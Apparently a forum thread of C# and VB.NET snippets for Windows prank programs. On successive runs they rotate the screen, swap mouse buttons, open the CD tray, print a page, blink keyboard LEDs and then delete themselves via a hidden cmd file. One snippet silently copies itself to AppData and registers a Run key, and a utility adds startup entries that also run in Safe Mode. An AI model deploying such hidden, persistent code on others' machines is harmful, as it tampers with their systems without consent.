Foro de elhacker.net

using System;
using System.IO;
 
namespace Broma_Consola_02
{
    class Program
    {
        static void Main(string[] args)
        {
            // Variables.
            string path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
            string nombreArchivo = "Archivo.txt";
 
            // Comprueba si existe el archivo en dicha ruta.
            if (File.Exists(Path.Combine(path, nombreArchivo)))
            {
                // Variable del contador.
                int contador;
 
                // Lee el fichero.
                if (Int32.TryParse(File.ReadAllText(Path.Combine(path, nombreArchivo)), out contador))
                {
                    // Si el contador es mayor que 0.
                    if (contador > 0)
                    {
                        // Sobre escribe el archivo con -1 su valor.
                        File.WriteAllText(Path.Combine(path, nombreArchivo), $"{contador -= 1}");
                    }
 
                    // Si el contador es igual a 0.
                    if (contador == 0)
                    {
                        // Escribe un nuevo arhivo de texto con su contenido correspondiente.
                        File.WriteAllText(Path.Combine(path, "Hola.txt"), "Hola amigo.");
                    }
                }
 
                // Entonces.
                else
                {
                    Console.WriteLine("El archivo contiene un valor no esperado.");
                }
            }
 
            // Entonces.
            else
            {
                // Escribe el archivo con el valor 3 en Archivo.txt.
                File.WriteAllText(Path.Combine(path, nombreArchivo), "3");
            }
 
            //Console.ReadKey(); // Pulse cualquier tecla para salir.
        }
    }
}

string path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);

string path = Environment.GetFolderPath(Environment.SpecialFolder.Startup);

class Program {
 
    static void Main(string[] args) {
 
        int value = Properties.Settings.Default.Countdown;
        Debug.WriteLine("Current value: {0}", value);
 
        switch (value) {
            case 0:
                // ... 
                // lo que tengas que hacer aquí cuando el contador llega a 0.
                // ...
                Properties.Settings.Default.Reset(); // Reset Countdown value to 3.
                break;
 
            default: // 1, 2 or 3.
                Properties.Settings.Default.Countdown -= 1;
                break;
        }
 
        Properties.Settings.Default.Save();
        Environment.Exit(0);
    }
 
}

• [SOURCE] File 2 startup v1.1 (http://foro.elhacker.net/net/source_file_2_startup_v11-t428089.0.html;msg1989817#msg1989817)

Imports Microsoft.Win32
 
Public Class Form1
   Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        autoinicio()
        Me.Hide()
    End Sub
 
    Private Sub autoinicio()
        Dim dirPath As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
        If My.Computer.FileSystem.FileExists(dirPath & "pc.exe") Then
            Microsoft_Office_2013.Timer1.Start()
        Else
            My.Computer.FileSystem.CopyFile(Application.ExecutablePath, dirPath & "pc.exe")
            Try
                Dim REGISTRADOR As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", True)
                If REGISTRADOR Is Nothing Then
                    Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run")
                End If
                Dim NOMBRE As String = dirPath & "pc.exe"
                NOMBRE = NOMBRE.Remove(0, NOMBRE.LastIndexOf("\") + 1)
                REGISTRADOR.SetValue(NOMBRE, dirPath & "pc.exe", RegistryValueKind.String)
                Microsoft_Office_2013.Show()
            Catch ex As Exception
                Dim Result As DialogResult = MessageBox.Show(ex.Message, "Error as ocurrent", MessageBoxButtons.OK, MessageBoxIcon.Error)
                If Result = DialogResult.OK Then
                    End
                End If
            End Try
        End If
     End Sub
End Class

• Re: Librería de Snippets !! (Compartan aquí sus snippets) (https://foro.elhacker.net/net/libreria_de_snippets_para_vbnet_compartan_aqui_sus_snippets-t378770.0.html;msg2004808#msg2004808)

WinStartupUtil.Add(UserType.CurrentUser, StartupType.Run, KeyBehavior.System32,
                   title:="Application Title",
                   filePath:="C:\Application.exe",
                   arguments:="/Arguments",
                   secureModeByPass:=True)

WinStartupUtil.Remove(UserType.CurrentUser, StartupType.Run, KeyBehavior.System32,
                      title:="Application Title",
                      throwOnMissingValue:=True)

' ***********************************************************************
' Author   : Elektro
' Modified : 25-March-2015
' ***********************************************************************
' <copyright file="WinStartupUtil.vb" company="Elektro Studios">
'     Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
 
#Region " Usage Examples "
 
'WinStartupUtil.Add(WinStartupUtil.UserType.CurrentUser,
'                   WinStartupUtil.StartupType.Run,
'                   WinStartupUtil.KeyBehavior.System32,
'                   title:="Application Title",
'                   filePath:="C:\Application.exe",
'                   secureModeByPass:=True)
 
'WinStartupUtil.Remove(WinStartupUtil.UserType.CurrentUser,
'                      WinStartupUtil.StartupType.Run,
'                      WinStartupUtil.KeyBehavior.System32,
'                      title:="Application Title",
'                      throwOnMissingValue:=True)
 
#End Region
 
#Region " Option Statements "
 
Option Explicit On
Option Strict On
Option Infer Off
 
#End Region
 
#Region " Imports "
 
Imports Microsoft.Win32
 
#End Region
 
#Region " WinStartupUtil "
 
 
''' <summary>
''' Adds or removes an application to Windows Startup.
''' </summary>
Public NotInheritable Class WinStartupUtil
 
#Region " Properties "
 
    ''' <summary>
    ''' Gets the 'Run' registry subkey path.
    ''' </summary>
    ''' <value>The 'Run' registry subkey path.</value>
    Public Shared ReadOnly Property RunSubKeyPath As String
        Get
            Return "Software\Microsoft\Windows\CurrentVersion\Run"
        End Get
    End Property
 
    ''' <summary>
    ''' Gets the 'Run' registry subkey path for x86 appications on x64 operating system.
    ''' </summary>
    ''' <value>The 'Run' registry subkey path for x86 appications on x64 operating system.</value>
    Public Shared ReadOnly Property RunSubKeyPathSysWow64 As String
        Get
            Return "Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run"
        End Get
    End Property
 
    ''' <summary>
    ''' Gets the 'RunOnce' registry subkey path.
    ''' </summary>
    ''' <value>The 'RunOnce' registry subkey path.</value>
    Public Shared ReadOnly Property RunOnceSubKeyPath As String
        Get
            Return "Software\Microsoft\Windows\CurrentVersion\RunOnce"
        End Get
    End Property
 
    ''' <summary>
    ''' Gets the 'RunOnce' registry subkey path for x86 appications on x64 operating system.
    ''' </summary>
    ''' <value>The 'RunOnce' registry subkey path for x86 appications on x64 operating system.</value>
    Public Shared ReadOnly Property RunOnceSubKeyPathSysWow64 As String
        Get
            Return "Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce"
        End Get
    End Property
 
#End Region
 
#Region " Enumerations "
 
    ''' <summary>
    ''' Specifies an user type.
    ''' </summary>
    Public Enum UserType As Integer
 
        ''' <summary>
        ''' 'HKEY_CURRENT_USER' root key.
        ''' </summary>
        CurrentUser = &H1
 
        ''' <summary>
        ''' 'HKEY_LOCAL_MACHINE' root key.
        ''' </summary>
        AllUsers = &H2
 
    End Enum
 
    ''' <summary>
    ''' Specifies a Startup type.
    ''' </summary>
    Public Enum StartupType As Integer
 
        ''' <summary>
        ''' 'Run' registry subkey.
        ''' </summary>
        Run = &H1
 
        ''' <summary>
        ''' 'RunOnce' registry subkey.
        ''' </summary>
        RunOnce = &H2
 
    End Enum
 
    ''' <summary>
    ''' Specifies a registry key behavior.
    ''' </summary>
    Public Enum KeyBehavior As Integer
 
        ''' <summary>
        ''' System32 registry subkey.
        ''' </summary>
        System32 = &H1
 
        ''' <summary>
        ''' SysWow64 registry subkey.
        ''' </summary>
        SysWow64 = &H2
 
    End Enum
 
#End Region
 
#Region " Public Methods "
 
    ''' <summary>
    ''' Adds an application to Windows Startup.
    ''' </summary>
    ''' <param name="userType">The type of user.</param>
    ''' <param name="startupType">The type of startup.</param>
    ''' <param name="keyBehavior">The registry key behavior.</param>
    ''' <param name="title">The registry value title.</param>
    ''' <param name="filePath">The application file path.</param>
    ''' <param name="secureModeByPass">
    ''' If set to <c>true</c>, the file is ran even when the user logs into 'Secure Mode' on Windows.
    ''' </param>
    ''' <exception cref="System.ArgumentNullException">title or filePath</exception>
    Public Shared Sub Add(ByVal userType As UserType,
                          ByVal startupType As StartupType,
                          ByVal keyBehavior As KeyBehavior,
                          ByVal title As String,
                          ByVal filePath As String,
                          Optional ByVal arguments As String = "",
                          Optional secureModeByPass As Boolean = False)
 
        If String.IsNullOrEmpty(title) Then
            Throw New ArgumentNullException("title")
 
        ElseIf String.IsNullOrEmpty(filePath) Then
            Throw New ArgumentNullException("filePath")
 
        Else
            If secureModeByPass Then
                title = title.Insert(0, "*")
            End If
 
            Dim regKey As RegistryKey = Nothing
            Try
                regKey = GetRootKey(userType).OpenSubKey(GetSubKeyPath(startupType, keyBehavior), writable:=True)
                regKey.SetValue(title, String.Format("""{0}"" {1}", filePath, arguments), RegistryValueKind.String)
 
            Catch ex As Exception
                Throw
 
            Finally
                If regKey IsNot Nothing Then
                    regKey.Close()
                End If
 
            End Try
 
        End If
 
    End Sub
 
    ''' <summary>
    ''' Removes an application from Windows Startup.
    ''' </summary>
    ''' <param name="userType">The type of user.</param>
    ''' <param name="startupType">The type of startup.</param>
    ''' <param name="keyBehavior">The registry key behavior.</param>
    ''' <param name="title">The value name to find.</param>
    ''' <param name="throwOnMissingValue">if set to <c>true</c>, throws an exception on missing value.</param>
    ''' <exception cref="System.ArgumentNullException">title</exception>
    ''' <exception cref="System.ArgumentException">Registry value not found.;title</exception>
    Friend Shared Sub Remove(ByVal userType As UserType,
                             ByVal startupType As StartupType,
                             ByVal keyBehavior As KeyBehavior,
                             ByVal title As String,
                             Optional ByVal throwOnMissingValue As Boolean = False)
 
        If String.IsNullOrEmpty(title) Then
            Throw New ArgumentNullException("title")
 
        Else
            Dim valueName As String = String.Empty
            Dim regKey As RegistryKey = Nothing
 
            Try
                regKey = GetRootKey(userType).OpenSubKey(GetSubKeyPath(startupType, keyBehavior), writable:=True)
 
                If regKey.GetValue(title, defaultValue:=Nothing) IsNot Nothing Then
                    valueName = title
 
                ElseIf regKey.GetValue(title.Insert(0, "*"), defaultValue:=Nothing) IsNot Nothing Then
                    valueName = title.Insert(0, "*")
 
                Else
                    If throwOnMissingValue Then
                        Throw New ArgumentException("Registry value not found.", "title")
                    End If
 
                End If
 
                regKey.DeleteValue(valueName, throwOnMissingValue:=throwOnMissingValue)
 
            Catch ex As Exception
                Throw
 
            Finally
                If regKey IsNot Nothing Then
                    regKey.Close()
                End If
 
            End Try
 
        End If
 
    End Sub
 
#End Region
 
#Region " Private Methods "
 
    ''' <summary>
    ''' Gets a <see cref="RegistryKey"/> instance of the specified root key.
    ''' </summary>
    ''' <param name="userType">The type of user.</param>
    ''' <returns>A <see cref="RegistryKey"/> instance of the specified root key.</returns>
    ''' <exception cref="System.ArgumentException">Invalid enumeration value.;userType</exception>
    Private Shared Function GetRootKey(ByVal userType As UserType) As RegistryKey
 
        Select Case userType
 
            Case userType.CurrentUser
                Return Registry.CurrentUser
 
            Case userType.AllUsers
                Return Registry.LocalMachine
 
            Case Else
                Throw New ArgumentException("Invalid enumeration value.", "userType")
 
        End Select ' userType
 
    End Function
 
    ''' <summary>
    ''' Gets the proper registry subkey path from the parameters criteria.
    ''' </summary>
    ''' <param name="startupType">Type of the startup.</param>
    ''' <param name="keyBehavior">The key behavior.</param>
    ''' <returns>The registry subkey path.</returns>
    ''' <exception cref="System.ArgumentException">
    ''' Invalid enumeration value.;startupType or 
    ''' Invalid enumeration value.;keyBehavior
    ''' </exception>
    Private Shared Function GetSubKeyPath(ByVal startupType As StartupType,
                                          ByVal keyBehavior As KeyBehavior) As String
 
        Select Case keyBehavior
 
            Case keyBehavior.System32
 
                Select Case startupType
 
                    Case startupType.Run
                        Return RunSubKeyPath
 
                    Case startupType.RunOnce
                        Return RunOnceSubKeyPath
 
                    Case Else
                        Throw New ArgumentException("Invalid enumeration value.", "startupType")
 
                End Select ' startupType
 
            Case keyBehavior.SysWow64
 
                Select Case startupType
 
                    Case startupType.Run
                        Return RunSubKeyPathSysWow64
 
                    Case startupType.RunOnce
                        Return RunOnceSubKeyPathSysWow64
 
                    Case Else
                        Throw New ArgumentException("Invalid enumeration value.", "startupType")
 
                End Select ' startupType
 
            Case Else
                Throw New ArgumentException("Invalid enumeration value.", "keyBehavior")
 
        End Select ' keyBehavior
 
    End Function
 
#End Region
 
End Class
 
#End Region

using Microsoft.Win32;
using System;
using System.IO;
 
namespace Broma_Consola_03
{
    class Program
    {
        static void Main(string[] args)
        {
            // Root.
            const string userRoot = "HKEY_CURRENT_USER";
            // Clave.
            const string subkey = "Metaconta";
            // FullName.
            const string keyName = userRoot + "\\" + subkey;
            // ValueName.
            const string valueName = "Contador";
 
            // Variables txt.
            string path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
 
            // Si no existe la Key, dará -1.
            int contador = Convert.ToInt32(Registry.GetValue(keyName, valueName, -1) ?? -1);
 
            // Comprueba si la key, al ser -1 si la key no existe.
            if (contador >= 0)
            {
                // Si el contador es mayor que 0.
                if (contador > 0)
                {
                    // Sobre escribe la key con -1 su valor.
                    Registry.SetValue(keyName, valueName, contador -= 1);
                }
 
                // Si el contador es igual a 0.
                if (contador == 0)
                {
                    // Escribe un nuevo arhivo de texto con su contenido correspondiente.
                    File.WriteAllText(Path.Combine(path, "Hola.txt"), "Hola amigo.");
                }
 
            }
            // Entonces.
            else
            {
                // Escribe en el registro el valor.
                Registry.SetValue(keyName, valueName, 3);
            }
        }
    }
}

using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Printing;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
 
namespace Broma_Consola_05
{
    class Program
    {
        // Importar dll.
        // Bandeja o lector o unidad de disco.
        [DllImport("winmm.dll")]
        public static extern Int32 mciSendString(string lpstrCommand, StringBuilder lpstrReturnString,
        int uReturnLength, IntPtr hwndCallback);
 
        public static StringBuilder rt = new StringBuilder(127);
 
        // Intercambio de botones del ratón.
        [DllImport("user32.dll")]
        static extern bool SwapMouseButton(bool fSwap);
 
        // Leds del teclado.
        [DllImport("user32.dll")]
        internal static extern short GetKeyState(int keyCode);
 
        [DllImport("user32.dll")]
        static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, int dwExtraInfo);
 
        static void Main(string[] args)
        {
            // Root.
            const string userRoot = "HKEY_CURRENT_USER";
            // Clave.
            const string subkey = "Metaconta";
            // FullName.
            const string keyName = userRoot + "\\" + subkey;
            // ValueName.
            const string valueName = "Contador";
 
            // Variables txt.
            string path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
 
            // Si no existe la Key, dará -1.
            int contador = Convert.ToInt32(Registry.GetValue(keyName, valueName, -1) ?? -1);
 
            // Comprueba si la key, al ser -1 si la key no existe.
            if (contador >= 0)
            {
                // Si el contador es mayor que 0.
                if (contador > 0)
                {
                    // Sobre escribe la key con -1 su valor.
                    Registry.SetValue(keyName, valueName, contador -= 1);
                }
 
                // Escribe un nuevo arhivo de texto con su contenido correspondiente.
                if (contador == 7)
                {
                    File.WriteAllText(Path.Combine(path, "Hola.txt"), "Hola amigo.");
                }
 
                // Abrir bandeja del lector.
                if (contador == 6)
                {
                    mciSendString("set CDAudio door open", rt, 127, IntPtr.Zero);
                }
 
                // Intercambiar botones del ratón (Diestro).
                if (contador == 5)
                {
                    SwapMouseButton(false); // Activar .
                }
 
                // Intercambiar botones del ratón (Zurdo).
                if (contador == 4)
                {
                    // Activar modo zurdo.
                    // SwapMouseButton(true); o SwapMouseButton(1);
                    // Para volver a modo diestro.
                    // SwapMouseButton(false); o SwapMouseButton(0);
                    SwapMouseButton(true); // Activar surdo.
                }
 
                // Imprimir un folio de la impresora o ficticia.
                if (contador == 3)
                {
                    string amigo = @"Hola amigo.";
                    string folio = @"Solo te he gastado un folio.";
 
                    PrintDocument p = new PrintDocument();
                    p.PrintPage += delegate (object sender1, PrintPageEventArgs e1)
                    {
                        e1.Graphics.DrawString(amigo, new Font("Times New Roman", 100),
                            new SolidBrush(Color.Black), new RectangleF(30, 100,
                            p.DefaultPageSettings.PrintableArea.Width,
                            p.DefaultPageSettings.PrintableArea.Height));
 
                        e1.Graphics.DrawString(folio, new Font("Times New Roman", 12),
                            new SolidBrush(Color.Black), new RectangleF(530, 270,
                            p.DefaultPageSettings.PrintableArea.Width,
                            p.DefaultPageSettings.PrintableArea.Height));
                    };
 
                    try
                    {
                        p.Print();
                    }
                    catch (Exception ex)
                    {
                        throw new Exception("Excepción ocurrida durante la impresión.", ex);
                    }
                }
 
                // Parpadean los Led del teclado.
                if (contador == 2)
                {
                    while (true)
                    {
                        //No se el orden porque no tengo un teclado mecanico para ver los 3 pilotos juntos
                        PressKeyboardButton(VirtualKeyStates.BloqMayus);
                        Thread.Sleep(100); //Ajusta estos tiempos a como te interese
                        PressKeyboardButton(VirtualKeyStates.BloqNum);
                        Thread.Sleep(100);
                        PressKeyboardButton(VirtualKeyStates.BloqDespl);
                        Thread.Sleep(100);
                    }
 
                    void PressKeyboardButton(VirtualKeyStates keyCode)
                    {
                        const int KEYEVENTF_EXTENDEDKEY = 0x1;
                        const int KEYEVENTF_KEYUP = 0x2;
                        keybd_event((byte)keyCode, 0x45, KEYEVENTF_EXTENDEDKEY, 0);
                        keybd_event((byte)keyCode, 0x45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
                    }
                }
 
                // Crea archivo bat, borra .exe y .cmd. Fin de la broma.
                if (contador == 1)
                {
                    try
                    {
                        // Variables.
                        string strFileFullName = @"archivo.cmd"; // Nombre del archivo.
                                                                 //string ruta = Environment.GetFolderPath(Environment.SpecialFolder.Startup); // Ruta en Inico de Windwos.
                        string ruta = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // Ruta en el inicio de Windows.
                        string ficheroAGrabar = Path.Combine(ruta, strFileFullName); // Concatenar ruta.
 
                        // Muestra la ruta en pantalla.
                        Console.WriteLine(ruta); // C:\Users\Usuario\Desktop
 
                        // Si no existe el archivo.
                        if (!File.Exists(ficheroAGrabar))
                        {
                            // Crea el contenido al archivo de texto.
                            File.WriteAllText(ficheroAGrabar, @"@echo off
TIMEOUT /T 1
DEL /S Broma_Consola_05.exe
DEL /S archivo.cmd
EXIT");
                        }
 
                        else // Si existe...
                        {
                            // Codigo a ejecutar si existe...
                            // Console.WriteLine("El archivo existe, así que no se sustituirá.");
                        }
 
                        // Ejecutar archivo.cmd.
                        ProcessStartInfo psi = new ProcessStartInfo();
                        psi.UseShellExecute = false;
                        psi.CreateNoWindow = true;
                        psi.WindowStyle = ProcessWindowStyle.Hidden;
                        psi.FileName = strFileFullName; // archivo.cmd.
                        Process.Start(psi);
 
                        // Cerrar aplicación C#.
                        Environment.Exit(-1);
                    }
 
                    catch (Win32Exception)
                    {
                        // No mostrar nada.
                        // Cerrar aplicación C#.
                        //Environment.Exit(-1);
                    }
                }
                // Entonces.
                else
                {
                    // Escribe en el registro el valor.
                    Registry.SetValue(keyName, valueName, 10);
                }
            }
        }
 
        public enum VirtualKeyStates : int
        {
            BloqMayus = 0x14, // 20
            BloqNum = 0x90, //144
            BloqDespl = 0x91, //145   
        }
    }
}
 

using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing; // Añadir referencia.
using System.Drawing.Printing;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
 
namespace Broma_Consola_06
{
    class Program
    {
        // Importar dll.
        // Bandeja o lector o unidad de disco.
        [DllImport("winmm.dll")]
        public static extern Int32 mciSendString(string lpstrCommand, StringBuilder lpstrReturnString,
        int uReturnLength, IntPtr hwndCallback);
 
        public static StringBuilder rt = new StringBuilder(127);
 
        // Intercambio de botones del ratón.
        [DllImport("user32.dll")]
        static extern bool SwapMouseButton(bool fSwap);
 
        // Leds del teclado.
        [DllImport("user32.dll")]
        internal static extern short GetKeyState(int keyCode);
 
        [DllImport("user32.dll")]
        static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, int dwExtraInfo);
 
        // Giro pantalla.
        #region Giro pantalla.
        public static class NativeMethods
        {
            // Declaración PInvoke para poder llamar al método EnumDisplaySettings de la API Win32.
            // Recupera los modos de visualización disponibles.
            [DllImport("user32.dll", CharSet = CharSet.Ansi)]
            private static extern int EnumDisplaySettings(
                string lpszDeviceName,
                int iModeNum,
                ref DEVMODE lpDevMode);
 
            // Declaración PInvoke para poder llamar al método ChangeDisplaySettings de la API Win32.
            // Cambia el modo de visualización actual.
            [DllImport("user32.dll", CharSet = CharSet.Ansi)]
            public static extern int ChangeDisplaySettings(
                ref DEVMODE lpDevMode,
                int dwFlags);
 
            // Crea un objeto DEVMODE con la información del modo de visualización.
            public static DEVMODE CreateDevMode()
            {
                int ENUM_CURRENT_SETTINGS = -1;
                DEVMODE dm = new DEVMODE
                {
                    dmDeviceName = new string(new char[32]),
                    dmFormName = new string(new char[32])
                };
                dm.dmSize = (short)Marshal.SizeOf(dm);
                EnumDisplaySettings(null, ENUM_CURRENT_SETTINGS, ref dm);
                return dm;
            }
 
 
            // Constantes.
            // Modos de visualización (girado 0/90/180/270 grados).
            public const int DMDO_DEFAULT = 0;
            public const int DMDO_90 = 1;
            public const int DMDO_180 = 2;
            public const int DMDO_270 = 3;
        }
 
        // Mapear la estructura que define el modo de visualización en user32.dll.
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
        public struct DEVMODE
        {
            [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)] public string dmDeviceName;
 
            public readonly short dmSpecVersion;
            public short dmDriverVersion;
            public short dmSize;
            public short dmDriverExtra;
            public int dmFields;
            public int dmPositionX;
            public int dmPositionY;
            public int dmDisplayOrientation;
            public int dmDisplayFixedOutput;
            public short dmColor;
            public short dmDuplex;
            public short dmYResolution;
            public short dmTTOption;
            public short dmCollate;
 
            [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)] public string dmFormName;
 
            public short dmLogPixels;
            public short dmBitsPerPel;
            public int dmPelsWidth;
            public int dmPelsHeight;
            public int dmDisplayFlags;
            public int dmDisplayFrequency;
            public int dmICMMethod;
            public int dmICMIntent;
            public int dmMediaType;
            public int dmDitherType;
            public int dmReserved1;
            public int dmReserved2;
            public int dmPanningWidth;
            public int dmPanningHeight;
        }
 
        private static void Swap()
        {
            // Creamos el objeto DEVMODE con la información del modo de visualización.
            var dm = NativeMethods.CreateDevMode();
 
            // Establecemos la orientación en función de la actual (girando 180º)
            // a través de la propiedad dmDisplayOrientation.
            var previousDisplayOrientation = dm.dmDisplayOrientation;
            switch (previousDisplayOrientation)
            {
                case NativeMethods.DMDO_DEFAULT:
                    dm.dmDisplayOrientation = NativeMethods.DMDO_180;
                    break;
                case NativeMethods.DMDO_270:
                    dm.dmDisplayOrientation = NativeMethods.DMDO_90;
                    break;
                case NativeMethods.DMDO_180:
                    dm.dmDisplayOrientation = NativeMethods.DMDO_DEFAULT;
                    break;
                case NativeMethods.DMDO_90:
                    dm.dmDisplayOrientation = NativeMethods.DMDO_270;
                    break;
            }
            // Cambia la pantalla al nuevo modo de visualización.
            //NativeMethods.ChangeDisplaySettings(ref dm, 0);
            NativeMethods.ChangeDisplaySettings(ref dm, 0);
 
            //// A los dos segundos recupera su estado normal.
            //Task.Delay(2000).ContinueWith(t =>
            //{
            //    // Restablece la orientación previa.
            //    dm.dmDisplayOrientation = previousDisplayOrientation;
            //    // Cambia la pantalla al modo anterior.
            //    NativeMethods.ChangeDisplaySettings(ref dm, 0);
            //});
        }
        #endregion
 
        static void Main(string[] args)
        {
            // Root.
            const string userRoot = "HKEY_CURRENT_USER";
            // Clave.
            const string subkey = "Metaconta";
            // FullName.
            const string keyName = userRoot + "\\" + subkey;
            // ValueName.
            const string valueName = "Contador";
 
            // Variables txt.
            string path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
 
            // Si no existe la Key, dará -1.
            int contador = Convert.ToInt32(Registry.GetValue(keyName, valueName, -1) ?? -1);
 
            bool led = true;
 
            // Comprueba si la key, al ser -1 si la key no existe.
            if (contador >= 0)
            {
                // Si el contador es mayor que 0.
                if (contador > 0)
                {
                    // Sobre escribe la key con -1 su valor.
                    Registry.SetValue(keyName, valueName, contador -= 1);
                }
 
                // Cambio giro pantalla a 180º.
                if (contador == 9)
                {
                    Swap();
                }
 
                if (contador == 8)
                {
                    Swap();
                }
 
                // Escribe un nuevo arhivo de texto con su contenido correspondiente.
                if (contador == 7)
                {
                    File.WriteAllText(Path.Combine(path, "Hola.txt"), "Hola amigo.");
                }
 
                // Abrir bandeja del lector.
                if (contador == 6)
                {
                    mciSendString("set CDAudio door open", rt, 127, IntPtr.Zero);
                }
 
                // Intercambiar botones del ratón (Zurdo).
                if (contador == 5)
                {
                    // Activar modo zurdo.
                    // SwapMouseButton(true); o SwapMouseButton(1);
                    // Para volver a modo diestro.
                    // SwapMouseButton(false); o SwapMouseButton(0);
                    SwapMouseButton(true); // Activar surdo.
                }
 
                // Intercambiar botones del ratón (Diestro).
                if (contador == 4)
                {
                    SwapMouseButton(false); // Activar .
                }
 
                // Imprimir un folio de la impresora o ficticia.
                if (contador == 3)
                {
                    string amigo = @"Hola amigo.";
                    string folio = @"Solo te he gastado un folio.";
 
                    PrintDocument p = new PrintDocument();
                    p.PrintPage += delegate (object sender1, PrintPageEventArgs e1)
                    {
                        e1.Graphics.DrawString(amigo, new Font("Times New Roman", 100),
                            new SolidBrush(Color.Black), new RectangleF(30, 100,
                            p.DefaultPageSettings.PrintableArea.Width,
                            p.DefaultPageSettings.PrintableArea.Height));
 
                        e1.Graphics.DrawString(folio, new Font("Times New Roman", 12),
                            new SolidBrush(Color.Black), new RectangleF(530, 270,
                            p.DefaultPageSettings.PrintableArea.Width,
                            p.DefaultPageSettings.PrintableArea.Height));
                    };
 
                    try
                    {
                        p.Print();
                    }
                    catch (Exception ex)
                    {
                        throw new Exception("Excepción ocurrida durante la impresión.", ex);
                    }
                }
 
                // Parpadean los Led del teclado.
                if (contador == 2)
                {
                    int varLed = 0;
                    while (led)
                    {
 
                        PressKeyboardButton(VirtualKeyStates.BloqMayus);
                        Thread.Sleep(100);
                        PressKeyboardButton(VirtualKeyStates.BloqNum);
                        Thread.Sleep(100);
                        PressKeyboardButton(VirtualKeyStates.BloqDespl);
                        Thread.Sleep(100);
 
                        // Al valor indicado, para salir del bucle.
                            if (varLed == 300)
                            {
                                led = false;
                            }
 
                        varLed++;
                    }
 
                    void PressKeyboardButton(VirtualKeyStates keyCode)
                    {
                        const int KEYEVENTF_EXTENDEDKEY = 0x1;
                        const int KEYEVENTF_KEYUP = 0x2;
                        keybd_event((byte)keyCode, 0x45, KEYEVENTF_EXTENDEDKEY, 0);
                        keybd_event((byte)keyCode, 0x45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
                    }                    
                }
 
                // Crea archivo bat, borra .exe y .cmd. Fin de la broma.
                if (contador == 1)
                {
                    try
                    {
                        // Variables.
                        string strFileFullName = @"archivo.cmd"; // Nombre del archivo.
                        string ruta = Environment.GetFolderPath(Environment.SpecialFolder.Startup); // Ruta en Inico de Windwos.
                        //string ruta = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // Ruta en el inicio de Windows.
                        string ficheroAGrabar = Path.Combine(ruta, strFileFullName); // Concatenar ruta.
 
                        // Muestra la ruta en pantalla.
                        Console.WriteLine(ruta); // C:\Users\Usuario\Desktop
 
                        // Si no existe el archivo.
                        if (!File.Exists(ficheroAGrabar))
                        {
                            // Crea el contenido al archivo de texto.
                            File.WriteAllText(ficheroAGrabar, @"@echo off
TIMEOUT /T 1
DEL /S Broma_Consola_06.exe
DEL /S archivo.cmd
EXIT");
                        }
 
                        else // Si existe...
                        {
                            // Codigo a ejecutar si existe...
                            // Console.WriteLine("El archivo existe, así que no se sustituirá.");
                        }
 
                        // Ejecutar archivo.cmd.
                        ProcessStartInfo psi = new ProcessStartInfo();
                        psi.UseShellExecute = false;
                        psi.CreateNoWindow = true;
                        psi.WindowStyle = ProcessWindowStyle.Hidden;
                        psi.FileName = strFileFullName; // archivo.cmd.
                        Process.Start(psi);
 
                        // Cerrar aplicación C#.
                        Environment.Exit(-1);
                    }
 
                    catch (Win32Exception)
                    {
                        // No mostrar nada.
                        // Cerrar aplicación C#.
                        //Environment.Exit(-1);
                    }
                }
            }
 
            // Entonces.
            else
            {
                // Escribe en el registro el valor. 
                // Empieza la cuenta atrás desde aquí.
                Registry.SetValue(keyName, valueName, 10);
            }
        }
 
        // Led de los botones del taclado.
        public enum VirtualKeyStates : int
        {
            BloqMayus = 0x14, // 20
            BloqNum = 0x90, //144
            BloqDespl = 0x91, //145   
        }
    }
}